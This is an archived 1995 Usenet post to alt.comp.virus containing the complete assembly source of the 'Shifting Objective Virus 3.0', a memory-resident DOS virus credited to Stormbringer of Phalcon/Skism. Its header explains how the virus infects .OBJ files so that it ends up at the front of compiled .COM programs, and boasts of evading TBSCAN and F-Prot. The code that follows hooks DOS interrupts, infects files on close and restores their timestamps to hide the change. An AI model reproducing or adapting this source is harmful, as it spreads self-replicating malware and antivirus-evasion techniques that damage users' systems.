home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / S.ZIP / SHIFTOBJ.ZIP / SHIFTOBJ.ASM
Assembly Source File  |  1995-01-14  |  16KB  |  453 lines

  1. From netcom.com!ix.netcom.com!howland.reston.ans.net!gatech!bloom-beacon.mit.edu!news.media.mit.edu!tmok.res.wpi.edu!halflife Sat Jan 14 12:23:41 1995
  2. Xref: netcom.com alt.comp.virus:1000
  3. Newsgroups: alt.comp.virus
  4. Path: netcom.com!ix.netcom.com!howland.reston.ans.net!gatech!bloom-beacon.mit.edu!news.media.mit.edu!tmok.res.wpi.edu!halflife
  5. From: halflife@tmok.res.wpi.edu (Halflife)
  6. Subject: shifting obj
  7. Message-ID: <halflife.21.000B93F3@tmok.res.wpi.edu>
  8. Lines: 437
  9. Sender: news@news.media.mit.edu (USENET News System)
  10. Organization: MIT Media Laboratory
  11. X-Newsreader: Trumpet for Windows [Version 1.0 Rev A]
  12. Date: Fri, 13 Jan 1995 16:34:35 GMT
  13. Lines: 437
  14.  
  15. ;+----------------------------------------------------------------------+
  16. ;ª  Shifting Objective Virus 3.0 (c) 1994 Stormbringer [Phalcon/Skism]  ª
  17. ;ª                                                                      ª
  18. ;ª  Memory Resident .OBJ Infector - No TBSCAN Flags, No F-Prot Alarms!  ª
  19. ;ª                                                                      ª
  20. ;ª  This virus breaks new bounds in viral technology, best I know }-)   ª
  21. ;ªIt infects .OBJ files that are set up to compile to simple, stand-    ª
  22. ;ªalone .COM's.  The basic theory for this is the following:  It takes  ª
  23. ;ªthe pre-set compiling points of the modules in the .OBJ and moves themª
  24. ;ªup in memory so Objective will have room to insert itself underneath. ª
  25. ;ªWhen the file is compiled the virus is at the beginning of the file,  ª
  26. ;ªand the original code follows BUT - the original code's memory offsetsª
  27. ;ªare what they were BEFORE the virus infected the .OBJ.  Therefore, allª
  28. ;ªObjective has to do when it runs is go memory resident, and shift the ª
  29. ;ªhost code back down to where it starts at 100h in memory, and all is  ª
  30. ;ªwell.                                                                 ª
  31. ;ª                                                                      ª
  32. ;ª  Object files are basically a set of linked lists or fields, each    ª
  33. ;ªwith a three byte header.  The first byte is it's identity byte, whileª
  34. ;ªthe following word is the size of the field - header.  The very last  ª
  35. ;ªbyte of each record is a simple checksum byte - this can be gained    ª
  36. ;ªsimply by adding up all of the bytes in the field save the three byte ª
  37. ;ªheader and taking the negative (not reg/inc reg) so that the entire   ª
  38. ;ªfield value + checksum = 0.  Each field type has it's own identity    ª
  39. ;ªvalue, but we are only concerned with a few right now.                ª
  40. ;ª                                                                      ª
  41. ;ªThey are as follows:                                                  ª
  42. ;ª             80h  -  Starting field of a .OBJ file                    ª
  43. ;ª             8Ch  -  External definitions                             ª
  44. ;ª             8Ah  -  Ending field of a .OBJ file                      ª
  45. ;ª             A0h  -  Regular Code                                     ª
  46. ;ª             A2h  -  Compressed code (patterns/reiterated stuff)      ª
  47. ;ª                                                                      ª
  48. ;ª   In the A0h and A2h types of fields, there is one more thing that   ª
  49. ;ªconcerns us - the three bytes after the field size in the header      ª
  50. ;ªare indicators of the location in memory the code will be at - the    ª
  51. ;ªsecond and third byte form the word we will be concerned with, which  ª
  52. ;ªis a simple offset from CS:0000 that the code will begin.  Since we   ª
  53. ;ªare dealing with .COM files and want to put our virus at the beginningª
  54. ;ªof the file, we set the position field of the virus to 100h and the   ª
  55. ;ªpositions of all the other A0h and A2h fields to their old position   ª
  56. ;ªplus the virus size.  When the file is compiled, the virus will be    ª
  57. ;ªat the beginning and the host will follow.  Attaching the virus to    ª
  58. ;ªthe .OBJ itself is simple enough - just save the 8Ah field in memory, ª
  59. ;ªand write FROM IT'S OLD BEGINNING a header for your virus, your       ª
  60. ;ªvirus, then a checksum and the old 8Ah field.  At all times when      ª
  61. ;ªmodifying fields, the checksums must be fixed afterwards.             ª
  62. ;ª                                                                      ª
  63. ;ª   For the rest of the techniques that may be useful, I suggest you   ª
  64. ;ªlook at the following code for my Shifting Objective Virus.  I'd like ª
  65. ;ªto thank The Nightmare for his ideas on this when we sat around bored ª
  66. ;ªthose days.  Greets go out to all of Phalcon/Skism, Urnst Kouch,      ª
  67. ;ªMark Ludwig, TridenT, NuKE, and the rest of the viral community.      ª
  68. ;ªA special hello goes to Hermanni and Frisk.                           ª
  69. ;ª                                                                      ª
  70. ;ª                                           -  Stormbringer [P/S]      ª
  71. ;ª                                         --ñ-------------------       ª
  72. ;ª                                           -                          ª
  73. ;+----------------------------------------------------------------------+
  74. .model tiny
  75. .radix 16
  76. .code
  77.         org 100
  78. start:
  79.         push    ds
  80.         sub     ax,ax
  81.         mov     ds,ax
  82.         mov     ax,word ptr ds:[84]
  83.         mov     word ptr cs:[Fake21IP],ax
  84.         mov     ax,word ptr ds:[86]
  85.         mov     word ptr cs:[Fake21CS],ax
  86.         mov     ax,word ptr ds:[2f*4]
  87.         mov     word ptr cs:[Fake2fIP],ax
  88.         mov     ax,word ptr ds:[2f*4+2]
  89.         mov     word ptr cs:[Fake2fCS],ax
  90.         pop     ds
  91.  
  92. CheckIfResident:
  93.         mov     ax,0feadh               ;Check if we are in memory
  94.         call    fake21
  95.         cmp     ax,0d00dh
  96.         jne     ReserveMemory           ;Nope, go resident
  97.  
  98.         xor     ax,ax
  99.         mov     ds,ax
  100.         jmp     RestoreFile             ;Yep, skip it
  101.  
  102. ReserveMemory:
  103.         mov     ax,ds
  104.         dec     ax                      ;Go to MCB's
  105.         mov     ds,ax
  106.         sub     word ptr ds:[3],80      ;Grab 2K from this MCB
  107.         sub     word ptr ds:[12],80     ;And from the Top of MEM in PSP
  108.         xor     ax,ax
  109.         mov     ds,ax                   ;We're gonna take up 2k in memory.
  110.         sub     word ptr ds:[413],2     ;Reserve 2k from bios
  111.         int     12h                     ;Get bios memory amount in K
  112.         mov     cl,6
  113.         shl     ax,cl
  114.  
  115. PutVirusInMemory:
  116.         push    cs
  117.         pop     ds
  118.         sub     ax,10                   ;NewSeg:0 was in AX, now Newseg:100
  119.         mov     es,ax                   ;is start of reserved memory field....
  120.         mov     di,100
  121.         mov     si,100
  122.         mov     cx,end_prog-start
  123.         repnz   movsb                   ;Copy virus into memory
  124.  
  125. HookInterrupts:
  126.         xor     ax,ax
  127.         mov     ds,ax                   ;Hook Int 21h directly using
  128.         cli                             ;Interrupt table
  129.         mov     ax,offset Int21
  130.         xchg    word ptr ds:[84],ax
  131.         mov     word ptr es:[IP_21],ax
  132.         mov     ax,es
  133.         xchg    word ptr ds:[86],ax
  134.         mov     word ptr es:[CS_21],ax
  135.         sti
  136.  
  137.  
  138. RestoreFile:
  139.         push    cs
  140.         pop     es
  141.         mov     ax,0deadh       ;Call interrupt handler to restore file
  142.  
  143.         pushf
  144.         call    dword ptr ds:[84]
  145.  
  146.         mov     ax,4c01         ;Terminate if restore unsuccessful
  147.         call    fake21
  148.  
  149. InstallCHeck:
  150.         mov     ax,0d00dh       ;Tell prog we're already here
  151.         iret
  152.  
  153. Int21:
  154.         cmp     ax,0feadh
  155.         je      InstallCheck    ;Is it an install check?
  156.         cmp     ax,0deadh
  157.         je      RestoreHost     ;Or a restoration request?
  158.         cmp     ah,3e
  159.         jz      fileclose       ;Fileclose - go infect it if it's an .OBJ
  160. GoInt21:
  161.         db      0ea             ;Jump back into int 21h handler
  162. IP_21   dw      0
  163. CS_21   dw      0
  164.  
  165. RestoreHost:
  166.         push    es
  167.         pop     ds
  168.  
  169.         mov     di,sp           ;Set iret to return to beginning of code
  170.         mov     [di],100
  171.  
  172.         mov     di,100
  173.         mov     si,offset Host  ;Shift host back down over virus in memory
  174.         mov     cx,0f000
  175.         repnz   movsb
  176.  
  177.         mov     si,ax
  178.         xor     ax,ax
  179.         mov     bx,ax           ;Set registers as if just executing
  180.         mov     cx,ax
  181.         mov     dx,ax
  182.         mov     di,ax
  183.         iret                    ;Iret back into the host file
  184.  
  185. fileclose:
  186.         pushf
  187.         push    ax bx cx dx es ds si di bp
  188.         xor     ax,ax
  189.         xor     ax,1220h
  190.         call    fake2f
  191.         push    bx
  192.         mov     bl,byte ptr es:[di]     ;Good ol' SFT trick
  193.         mov     ax,1216h
  194.         call    fake2f
  195.         or      word ptr es:[di+2],2    ;Set file Read/Write
  196.         add     di,28
  197.         pop     bx
  198.         cmp     byte ptr es:[di+2],'J'  ;Check out filename
  199.         jne     Done_Close
  200.         cmp     word ptr es:[di],'BO'
  201.         jne     Done_Close
  202.         mov     word ptr cs:[Host_Handle],bx
  203.  
  204.         mov     ax,5700                 ;Save date/time stamp
  205.         call    fake21
  206.         push    cx dx
  207.         call    Infect_Obj              ;go infect it
  208.         pop     dx cx
  209.         mov     ax,5701                 ;Restore date/time stamp
  210.         call    fake21
  211.  
  212.    Done_Close:
  213.         pop     bp di si ds es dx cx bx ax      ;Exit and chain into int 21h
  214.         popf
  215.         jmp     GoInt21
  216.  
  217. Isanexec:
  218.         push    dx
  219.   GetAndSaveCurLoc:
  220.         mov     ax,4201         ;Save position of current module
  221.         xor     cx,cx
  222.         xor     dx,dx
  223.         call    fake21
  224.         push    dx ax
  225.   ModExecStartingPoint:
  226.      ReadOldStartingPoint:
  227.         mov     ah,3f
  228.         mov     dx,offset startingpt    ;Read starting point
  229.         mov     cx,3
  230.         call    fake21
  231.         mov     ax,word ptr [startingpt+1]
  232.         cmp     byte ptr firstexec,0    ;Check if this is the first exec field
  233.         jne     NotFirstExec
  234.  
  235.                                         ;If so, it should have a starting
  236.                                         ;point of 100h for a .COM for us
  237.                                         ;to infect it correctly
  238.  
  239. CheckifwillbeCOMfile:                   ;we're assuming that anything with
  240.         mov     byte ptr firstexec,1    ;a starting point of cs:100h will be
  241.                                         ;a com. while this isn't true all
  242.                                         ;the time, we can cross our fingers..
  243.         cmp     ax,100
  244.         je      NotFirstExec            ;File is good, continue infection.
  245.  
  246. Getouttahere:
  247.         pop     ax ax ax                ;won't be a .com file - don't infect.
  248.         ret
  249.  
  250. NotFirstExec:                           ;Either it isn't first exec or the
  251.         mov     cx,end_prog-start       ;check was good.. now add virus size
  252.         add     ax,cx                   ;to exec starting point.
  253.         mov     word ptr [startingpt+1],ax
  254.   GoBackToStartingPointinfo:
  255.         pop     dx cx
  256.         push    cx dx
  257.         mov     ax,4200                 ;go back to starting point field
  258.         call    fake21
  259.   AndWriteIt:
  260.         mov     ah,41
  261.         dec     ah
  262.         mov     cx,3
  263.         mov     dx,offset startingpt    ;and save it
  264.         call    fake21
  265.  
  266. GoToChecksumField:
  267.         mov     dx,fieldsize
  268.         sub     dx,4
  269.         xor     cx,cx                   ;go to checksum field
  270.         mov     ax,4201
  271.         call    fake21
  272.   ResetExecChecksum:
  273.         mov     ah,3f
  274.         mov     dx,offset Checksum      ;read checksum field
  275.         mov     cx,1
  276.         call    fake21
  277.         mov     cx,-1
  278.         mov     dx,-1                   ;go back to checksum field in file
  279.         mov     ax,4201
  280.         call    fake21
  281.         mov     cx,(end_prog-start)
  282.         sub     Checksum,ch             ;modify checksum to account for
  283.         sub     Checksum,cl             ;our change to starting point field.
  284.         mov     ah,41
  285.         mov     dx,offset Checksum      ;and write it
  286.         mov     cx,1
  287.         dec     ah
  288.         call    fake21
  289.   DoneIsExec:
  290.         pop     dx cx
  291.         mov     ax,4200         ;Restore original file pointer
  292.         call    fake21
  293.         pop     dx
  294.         jmp     NExtfield       ;and continue with infection
  295.  
  296. startingpt db      0,0,0
  297. firstexec   db           0
  298.  
  299. anexec:
  300.         jmp     isanexec
  301.  
  302. Bailout:
  303.         ret
  304.  
  305. Infect_Obj:
  306.         push    cs cs
  307.         pop     es ds
  308.         mov     firstexec,0             ;Init first exec field
  309.         call    go_bof                  ;Go to beginning of file
  310.  
  311.    ModExecFields:
  312.         call    ReadHeader      ;read the three byte header, field size in DX
  313.                                 ;Header type in AL
  314.  
  315.         cmp     al,8c           ;External module
  316.         je      bailout         ;It has external calls, which we can't
  317.                                 ;handle yet :(
  318.  
  319.         cmp     al,0a0          ;Executable module
  320.         je      anexec
  321.  
  322.         cmp     al,0a2          ;Reiterated executable module
  323.         je      anexec
  324.  
  325.         cmp     al,8a           ;Ending module
  326.         je      DoneModExecs
  327.  
  328.    NextField:
  329.         mov     ax,4201         ;Go to the next field
  330.         xor     cx,cx
  331.         call    fake21
  332.         jmp     ModExecFields
  333.  
  334. DoneModExecs:
  335.         mov     ax,4201
  336.         mov     cx,-1
  337.         mov     dx,-3           ;go to start of 8A field (end module)
  338.         call    fake21
  339.  
  340.         push    dx ax
  341.  
  342.         mov     cx,fieldsize
  343.         add     cx,3+10         ;the +10 is just to be safe
  344.         mov     ah,3f           ;load in last module
  345.         mov     dx,offset buffer
  346.         call    fake21
  347.         mov     endfieldsize,ax ;Read in the end module
  348.  
  349.         pop     dx cx
  350.         mov     ax,4200         ;Go back to the beginning of the module
  351.         call    fake21              ;now that we have it in memory
  352.  
  353. WriteOurHeader:
  354.         mov     ah,3f
  355.         mov     cx,endheader-ourheader  ;write the header for virus module
  356.         mov     dx,offset ourheader
  357.         inc     ah
  358.         call    fake21
  359.  
  360. WriteVirus:
  361.         mov     ah,3f
  362.         mov     cx,end_prog-start       ;write virus to file
  363.         mov     dx,100
  364.         inc     ah
  365.         call    fake21
  366.  
  367. CreateChecksum:
  368.         mov     si,100
  369.         mov     cx,end_prog-start
  370.         xor     ax,ax
  371.    AddupChecksum:                       ;Create checksum for virus
  372.         lodsb
  373.         add     ah,al
  374.         loop    AddupChecksum
  375.         not     ah
  376.         inc     ah
  377.         mov     Checksum,ah
  378.  
  379.    WriteChecksum:
  380.         mov     dx,offset Checksum
  381.         mov     cx,1
  382.         mov     ah,3f
  383.         inc     ah
  384.         call    fake21                      ;Then save the checksum in module
  385.  
  386. WriteEndModule:
  387.         mov     dx,offset Buffer
  388.         mov     cx,endfieldsize
  389.         mov     ah,3f
  390.         inc     ah
  391.         call    fake21                      ;And put the ending module back into
  392.         ret                             ;place.... we're done.
  393.  
  394.  
  395. ReadHEader:
  396.         mov     ah,3f
  397.         mov     dx,offset fieldheader
  398.         mov     cx,3                    ;Read module header for .obj files
  399.         call    fake21                      ;save module type in AL and
  400.         mov     al,fieldheader          ;module size in DX
  401.         mov     dx,fieldsize
  402.         ret
  403.  
  404.  
  405. Go_Bof:                                 ;Go to beginning of file
  406.         mov     al,0
  407.         jmp     short movefp
  408. Go_Eof:                                 ;Go to the end of the file
  409.         mov     al,02
  410. movefp:                                 ;Or just move the File pointer
  411.         xor     cx,cx
  412.         xor     dx,dx
  413.         mov     ah,42
  414.         call    fake21
  415.         ret
  416.  
  417. fake21:
  418.         pushf
  419.                 db      9a
  420. fake21IP        dw      0
  421. fake21CS        dw      0
  422.         ret
  423.  
  424. fake2f:
  425.         pushf
  426.                 db      9a
  427. fake2fIP        dw      0
  428. fake2fCS        dw      0
  429.         ret
  430.  
  431. Credits:
  432. db      'Shifting Objective Virus 3.0 (c) 1994 Stormbringer [Phalcon/Skism]'
  433. db      'Kudos go to The Nightmare!'
  434. OurHeader:
  435.         db      0A0
  436.         dw      (end_prog-start+4)      ;our size in an .OBJ file
  437.         db      1
  438.         db      0                       ;starting position (cs:100h)
  439.         db      1
  440. endheader:
  441.  
  442. endfieldsize    dw      0
  443. Checksum        db      0
  444. fieldheader     db      0
  445.    fieldsize    dw      0
  446. Host_Handle     dw      0
  447. end_prog:
  448. Buffer:
  449. Host            db      90,90,90,90,90,90,90,90,0cdh,20
  450. end start
  451.  
  452.  
  453.